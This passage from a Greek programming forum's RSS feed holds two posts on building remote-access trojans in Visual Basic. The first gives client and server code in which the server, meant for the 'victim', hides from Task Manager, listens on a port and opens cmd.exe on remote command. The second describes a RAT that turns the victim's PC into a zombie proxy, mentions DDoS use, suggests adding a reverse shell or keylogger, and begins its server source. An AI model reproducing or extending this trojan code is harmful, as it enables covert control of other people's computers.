Winsock1.RemoteHost &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; Text1.Text &lt;span style="color:Green;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;' Να συνδεθεί στην IP που βρίσκετε στο Text1.Text&lt;/span&gt;
Winsock1.RemotePort &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; 1234 &lt;span style="color:Green;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;' Να χρησιμοποιήσει το Port 1234 (πρέπει να είναι το ίδιο με το server)&lt;/span&gt;
Winsock1.Connect &lt;span style="color:Green;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;' Να συνδεθεί&lt;/span&gt;
&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;End&lt;/span&gt; &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;Sub&lt;/span&gt; &lt;span style="color:Green;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;' Επόμενο...&lt;/span&gt;

&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;Private&lt;/span&gt; &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;Sub&lt;/span&gt; Command2_Click()
Winsock1.SendData &lt;span style="color:#666666;background-color:#e4e4e4;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"2"&lt;/span&gt; &lt;span style="color:Green;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;'Το Winsock να στείλει την πληροφορία "2" στο server κάνοντας κλικ στο 'Command2'&lt;/span&gt;
&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;End&lt;/span&gt; &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;Sub&lt;/span&gt;

&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;Private&lt;/span&gt; &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;Sub&lt;/span&gt; Command3_Click()
Winsock1.SendData &lt;span style="color:#666666;background-color:#e4e4e4;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"3"&lt;/span&gt; &lt;span style="color:Green;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;' Το Winsock να στείλει την πληροφορία "3" στο server κάνοντας κλικ στο 'Command3'&lt;/span&gt;
&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;End&lt;/span&gt; &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;Sub&lt;/span&gt;

&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;Private&lt;/span&gt; &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;Sub&lt;/span&gt; Winsock1_Connect() &lt;span style="color:Green;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;' Αφού το Winsock συνδεθεί με επιτυχία&lt;/span&gt;
Form1.Caption &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; &lt;span style="color:#666666;background-color:#e4e4e4;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"Connected to IP"&lt;/span&gt; &amp;amp; Text1.Text &lt;span style="color:Green;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;' Στο Form1 να εμφανιστεί στο πάνω μέρος "Connected to IP" και την IP.&lt;/span&gt;
&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;End&lt;/span&gt; &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;Sub&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Όπως βλέπετε, χρησιμοποιούμε Winsock για την σύνδεση μας με το server. Κάντε δεξί κλικ κάτω από το 'Tools Box' μετά 'Components' και ψάξτε το 'Microsoft Winsock Control 6.0'. Έπειτα προσθέστε ένα Winsock1 στο Form μας.(Δες εικόνες)&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;img src="http://img691.imageshack.us/img691/9140/vb4.png" border="0" /&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;img src="http://img704.imageshack.us/img704/9002/vb5.png" border="0" /&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;img src="http://img94.imageshack.us/img94/1818/vb6.png" border="0" /&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Αυτά είναι για το Client μας, δηλαδή από εκεί που θα συνδεθούμε εμείς. Τώρα για να το κάνουμε πρόγραμμα (*exe), πηγαίνουμε πάνω στο 'File' και μετά 'Make Project1.exe'.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;img src="http://img442.imageshack.us/img442/2695/vb7.png" border="0" /&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Server:&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Τώρα ας φτιάξουμε και το server το οποίο είναι για το θύμα και πρέπει να το εκτελέσει για να μπορούμε να συνδεθούμε εμείς απο το Client μετά...&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Ανοίγουμε ένα νέο Project 'Standard EXE'&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;img src="http://img251.imageshack.us/img251/2903/vb1.png" border="0" /&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Εδώ απλώς θα βάλουμε ένα ακόμα Winsock1 , κάνοντας δεξί κλικ στο 'Tools Box' μετά 'Components' και ψάξτε το 'Microsoft Winsock Control 6.0'. Έπειτα προσθέστε ένα Winsock1 στο Form μας.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;img src="http://img16.imageshack.us/img16/1567/vb8.png" border="0" /&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Κάντε διπλό κλικ στο Form και βάλτε το ακόλουθο script:&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%" style="background-color:#f2f2f2;border:solid 1px #e5e5e5;"&gt;&lt;tr style="vertical-align:top;line-height:normal;"&gt;&lt;td style="width:40px;text-align:right;"&gt;&lt;pre style="font-family:courier new;font-size:11px;color:gray;margin:0px;padding:2px;border-right:solid 1px #e7e7e7;"&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
 &lt;/pre&gt;&lt;/td&gt;&lt;td&gt;&lt;pre style="margin:0px;padding:2px;padding-left:8px;"&gt;&lt;span style="color:Black;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;Private&lt;/span&gt; &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;Sub&lt;/span&gt; Form_Load()
App.TaskVisible &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;False&lt;/span&gt; &lt;span style="color:Green;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;' Να μην είναι εμφανίσημο στο 'TaskManager'  &lt;/span&gt;
&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;Me&lt;/span&gt;.Hide &lt;span style="color:Green;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;' Κρυμμένο&lt;/span&gt;
&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;If&lt;/span&gt; App.PrevInstance &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;True&lt;/span&gt; &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;Then&lt;/span&gt;
Unload &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;Me&lt;/span&gt;
&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;End&lt;/span&gt; &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;If&lt;/span&gt;
Winsock1.LocalPort &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; 1234 &lt;span style="color:Green;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;' Να χρησιμοποιήσει το Port 1234&lt;/span&gt;
Winsock1.Listen &lt;span style="color:Green;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;' To Winsock1 να περιμένει εντολές απο το Client&lt;/span&gt;
&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;End&lt;/span&gt; &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;Sub&lt;/span&gt;

&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;Private&lt;/span&gt; &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;Sub&lt;/span&gt; Winsock1_ConnectionRequest(&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;ByVal&lt;/span&gt; requestID &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;As&lt;/span&gt; &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;Long&lt;/span&gt;)
&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;If&lt;/span&gt; Winsock1.State &amp;lt;&amp;gt; sckClosed &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;Then&lt;/span&gt; Winsock1.Close
Winsock1.Accept requestID &lt;span style="color:Green;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;'To Winsock να δεχτεί την σύνδεση&lt;/span&gt;
&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;End&lt;/span&gt; &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;Sub&lt;/span&gt;
&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;Private&lt;/span&gt; &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;Sub&lt;/span&gt; Winsock1_DataArrival(&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;ByVal&lt;/span&gt; bytesTotal &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;As&lt;/span&gt; &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;Long&lt;/span&gt;)
&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;Dim&lt;/span&gt; data &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;As&lt;/span&gt; &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;String&lt;/span&gt;
Winsock1.GetData data &lt;span style="color:Green;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;'Το Winsock να πάρει τις πληροφορίες απο το Client&lt;/span&gt;

&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;If&lt;/span&gt; data &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; &lt;span style="color:#666666;background-color:#e4e4e4;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"2"&lt;/span&gt; &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;Then&lt;/span&gt; &lt;span style="color:Green;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;' Αν στάλθηκε η πληροφορία "2" τότε...&lt;/span&gt;
&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;On&lt;/span&gt; &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;Error&lt;/span&gt; &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;Resume&lt;/span&gt; &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;Next&lt;/span&gt; &lt;span style="color:Green;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;' Αν υπάρξει κάποιο σφάλμα τότε να συνεχίσει στο επόμενο και να μην σταματήσει το πρόγραμμα&lt;/span&gt;
&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;Shell&lt;/span&gt; (&lt;span style="color:#666666;background-color:#e4e4e4;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"C:\WINDOWS\system32\cmd.exe"&lt;/span&gt;) &lt;span style="color:Green;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;' Αν πληροφορία "2" τότε εκτέλεσε "Shell ("C:\WINDOWS\system32\cmd.exe")"&lt;/span&gt;
&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;End&lt;/span&gt; &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;If&lt;/span&gt;

&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;If&lt;/span&gt; data &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; &lt;span style="color:#666666;background-color:#e4e4e4;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"3"&lt;/span&gt; &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;Then&lt;/span&gt; &lt;span style="color:Green;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;' Αν στάλθηκε η πληροφορία "3" τότε...&lt;/span&gt;
&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;On&lt;/span&gt; &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;Error&lt;/span&gt; &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;Resume&lt;/span&gt; &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;Next&lt;/span&gt; &lt;span style="color:Green;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;'  Αν υπάρξει κάποιο σφάλμα τότε να συνεχίσει στο επόμενο και να μην σταματήσει το πρόγραμμα&lt;/span&gt;
&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;Shell&lt;/span&gt; (&lt;span style="color:#666666;background-color:#e4e4e4;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"C:\WINDOWS\system32\notepad.exe"&lt;/span&gt;) Εκτέλεσε το
&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;End&lt;/span&gt; &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;If&lt;/span&gt;

&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;End&lt;/span&gt; &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;Sub&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Μετά το κάνετε αρχείο *exe απο το 'File' - 'Make Project1.exe' (μπορείτε να αλλάξετε το όνομα του αρχείου σε ότι θέλετε, πχ server.exe).&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Αυτό ήταν η σύνδεση ενός trojan client με το server. (To γνωστό Trojan που φοβούνται όλοι...χαχα). Τώρα ανοίγετε το Client και στο TextBox1 βάζετε την IP του θύματος. (Αφού εκτελέσει το server.exe). Μπορείτε επίσης να το δοκιμάσετε στο localhost, εκτελείτε το server στο σύστημα σας (δεν υπάρχει κίνδυνος) και μετά από το Client βάζετε την IP 127.0.0.1 (το localhost) και δοκιμάζετε να δείτε αν δουλεύει το Trojan σας.&lt;/div&gt;</description></item><item><title>RAT σε vb 8...</title><link>https://www.dotnetzone.gr:443/cs/forums/thread/56387.aspx</link><pubDate>Tue, 12 Jan 2010 20:11:46 GMT</pubDate><guid isPermaLink="false">2622095e-976c-431a-859e-16783ec7ecd7:56387</guid><dc:creator>Thiseas</dc:creator><slash:comments>2</slash:comments><comments>https://www.dotnetzone.gr:443/cs/forums/thread/56387.aspx</comments><wfw:commentRss>https://www.dotnetzone.gr:443/cs/forums/commentrss.aspx?SectionID=139&amp;PostID=56387</wfw:commentRss><description>&lt;p&gt;RAT, σύμφωνα με την &lt;a href="http://www.webopedia.com/TERM/R/RAT.html"&gt;webopedia&lt;/a&gt;:&lt;br&gt;&lt;i&gt;“Short for Remote Access Trojan, a Trojan horse that provides the intruder, or hacker, with a backdoor into the infected system. This backdoor allows the hacker to snoop your system, use your infected system to launch a zombie (attacks on other systems), or even run malicious code.&lt;br&gt;See also zombie.”&lt;/i&gt;&lt;/p&gt;
&lt;p&gt;Θέλησα λοιπόν να φτιάξω ένα τέτοιο πρόγραμμα με τους ακόλουθους περιορισμούς και στόχους:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Κάνοντας χρήση λίγο αντισυμβατικών (για αυτήν την δουλειά) γλωσσών προγραμματισμού. Επέλεξα την Visual Basic 8 Express Edition για 2 βασικούς λόγους: &lt;br&gt;(α) Είναι δωρεάν και μπορείτε να την κατεβάσετε από&amp;nbsp;&lt;a href="http://www.microsoft.com/express/vb/Default.aspx"&gt;εδώ&lt;/a&gt; και &lt;br&gt;(β) Δείχνει την ευκολία που μπορείτε να αναπτύσετε εφαρμογές με την χρήση του .Net framework, άσχετα αν γράφετε σε C# ή σε Visual Basic. 
&lt;/li&gt;&lt;li&gt;Κάνοντας τον κώδικα όσο ανοιχτό γίνεται ώστε αυτό το RATaki να λειτουργήσει και σαν «σκαλοπάτι» που κάποιος (programmer) θα μπορούσε εύκολα να το πάρει και να το προχωρήσει προσθέτοντας εύκολα και γρήγορα τα δικά του χαρακτηριστικά. 
&lt;/li&gt;&lt;li&gt;Να δώσω κάποια&amp;nbsp;hints για το πως κάποιος μπορεί να γράψει έναν κακόβουλο πρόγραμμα - άρα και τρόπους για να&amp;nbsp;γράψετε δικές σας "ασπίδες" - προγράμματα που θα τον μπλοκάρουν ή ξεσκεπάζουν.&amp;nbsp;&amp;nbsp;&lt;br&gt;&lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;Χαρακτηριστικά του &lt;b&gt;&lt;u&gt;server&lt;/u&gt;&lt;/b&gt;:&lt;br&gt;Ακούει σε μια συγκεκριμένη πόρτα για τις εντολές του client.&lt;br&gt;Διαθέσιμες εντολές:&lt;br&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Αν το πρώτο γράμμα του TCP πακέτου που στέλνει ο client είναι "1" τότε η εντολή αυτή ερμηνεύεται από τον server σαν εντολή ping και απαντάει με ένα... "I' m here baby!" 
&lt;/li&gt;&lt;li&gt;Αν το πρώτο γράμμα του TCP πακέτου που στέλνει ο client είναι "2" τότε η εντολή αυτή ερμηνεύεται από τον server σαν εντολή για άνοιγμα μιας σελίδας HTTP και απαντάει με την απάντηση (σε μορφή HTML) που πήρε από τον web server καλώντας το URL που ακολουθεί μετά το 2.&lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;&lt;br&gt;Χαρακτηριστικά του &lt;b&gt;&lt;u&gt;client&lt;/u&gt;&lt;/b&gt;:&lt;br&gt;Στέλνει εντολές στον server και περιμένει την απάντηση.&lt;br&gt;Διαθέσιμες εντολές:&lt;br&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Αν το πρώτο γράμμα του TCP πακέτου που στέλνει ο client είναι "1" τότε η εντολή αυτή ερμηνεύεται από τον server σαν εντολή ping και απαντάει με ένα... "I' m here baby!" (το είπαμε ήδη... ε?).&amp;nbsp; Για να συμβεί αυτό πρέπει το check box "R u there" πρέπει να είναι επιλεγμένο. 
&lt;/li&gt;&lt;li&gt;Αν το πρώτο γράμμα του TCP πακέτου που στέλνει ο client είναι "2" τότε η εντολή αυτή ερμηνεύεται από τον server σαν εντολή για άνοιγμα μιας σελίδας HTTP και απαντάει με την απάντηση (σε μορφή HTML) που πήρε από τον web server καλώντας το URL που ακολουθεί μετά το 2. Αυτή η απάντηση εμφανίζεται σαν HTML κώδικας στο tab Html-Response και σαν Html-σελίδα στο tab Web Browser.&lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;Παράδειγμα εκτέλεσης του προγράμματος:&lt;br&gt;&lt;img src="http://p0wnbox.com/thiseas/RAT_pic1.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Σε γενικές γραμμές, αυτό που κάνει το πρόγραμμα με την μορφή που έχει τώρα είναι το εξής: Μπορεί ο client να τρέχει σε ένα pc A και ο server na τρέχει σε ένα PC B. Ο χρήστης στο Β μπορεί να καλεί URLs τα οποία θα περνάνε στον server και θα καλούνται από εκεί. Αυτό που θα συμβαίνει στην πραγματικότητα είναι οτι ο server θα είναι zombi του client εμφανίζοντας την&amp;nbsp;την IP του Α&amp;nbsp;στις κλήσεις του B. Κάποιος θα έλεγε οτι αυτό θα μπορούσε να είναι ένα είδος.... "proxy"... κρυμμένου ή μία μέθοδος για&amp;nbsp;να ξεκινήσει κάποιος&amp;nbsp;ένα DDOS (Distributed Denial Of Services) σε κάποιο site. Σας προτείνω να επεκτείνετε το πρόγραμμα ώστε να δέχεται δικές σας εντολές. Νομίζω οτι ένα reverse shell ή ένας remote keylogger δεν απέχει και πολύ μακρυά!&lt;br&gt;Χρησιμοποιείστε το πρόγραμμα όπως θέλετε - εξαιρούνται οι γνωστοί και ηλίθιοι τρόποι που χρησιμοποιούν οι μέτριοι: για επιθέσεις με κακό σκοπό! Δεν χρειάζετε να αναφέρετε (αν δεν γουστάρετε) τον δημιουργό του προγράμματος. &lt;br&gt;&lt;i&gt;Our "HowToBeFamous" dept has been closed, a long time ago... ;) &lt;/i&gt;&lt;/p&gt;
&lt;p&gt;Όλο το project, μπορείτε να το κατεβάσετε από &lt;a href="http://rapidshare.com/files/330212384/RAT.zip%22]http://rapidshare.com/files/330212384/RAT.zip"&gt;εδώ&lt;/a&gt;:&lt;br&gt;&lt;b&gt;Password: p0wnbox.com&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;Έχω τρέξει με επιτυχία τον server σε Windows XP Pro (με .net 2.0) , Windows XP Pro&amp;nbsp; (με .net 3.5) και Windows 7 Home Premium. Έχω δοκιμάσει τον client σε windows 7. Το πρόγραμμα σαν Client/Server το έχω τεστάρει σε LAN και σε LAN virtual machine.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;u&gt;Κάθε παρατήρηση θετική ή αρνητική, όχι μόνο δεκτή είναι, αλλά... ευπρόσδεκτη!&lt;/u&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;br&gt;Ο κώδικας του server είναι ο παρακάτω:&lt;br&gt;
&lt;/p&gt;&lt;table style="BORDER-BOTTOM:#e5e5e5 1px solid;BORDER-LEFT:#e5e5e5 1px solid;BACKGROUND-COLOR:#f2f2f2;BORDER-TOP:#e5e5e5 1px solid;BORDER-RIGHT:#e5e5e5 1px solid;" border="0" cellspacing="0" cellpadding="0" width="100%"&gt;

&lt;tr style="LINE-HEIGHT:normal;VERTICAL-ALIGN:top;"&gt;
&lt;td style="TEXT-ALIGN:right;WIDTH:40px;"&gt;&lt;pre style="PADDING-BOTTOM:2px;MARGIN:0px;PADDING-LEFT:2px;PADDING-RIGHT:2px;FONT-FAMILY:courier new;COLOR:gray;FONT-SIZE:11px;BORDER-RIGHT:#e7e7e7 1px solid;PADDING-TOP:2px;"&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
 &lt;/pre&gt;&lt;/td&gt;
&lt;td&gt;&lt;pre style="PADDING-BOTTOM:2px;MARGIN:0px;PADDING-LEFT:8px;PADDING-RIGHT:2px;PADDING-TOP:2px;"&gt;&lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:black;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;&lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt; *********************************************************************
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  A simple remote access server.
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  It listens at a specific port &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;for&lt;/span&gt; a client &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;command&lt;/span&gt;.
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  Available commands:
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  1. &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;If&lt;/span&gt; the first letter of the packet send by the client &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;is&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;"1"&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;then&lt;/span&gt; this &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;is&lt;/span&gt; considered &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;as&lt;/span&gt; a &lt;span 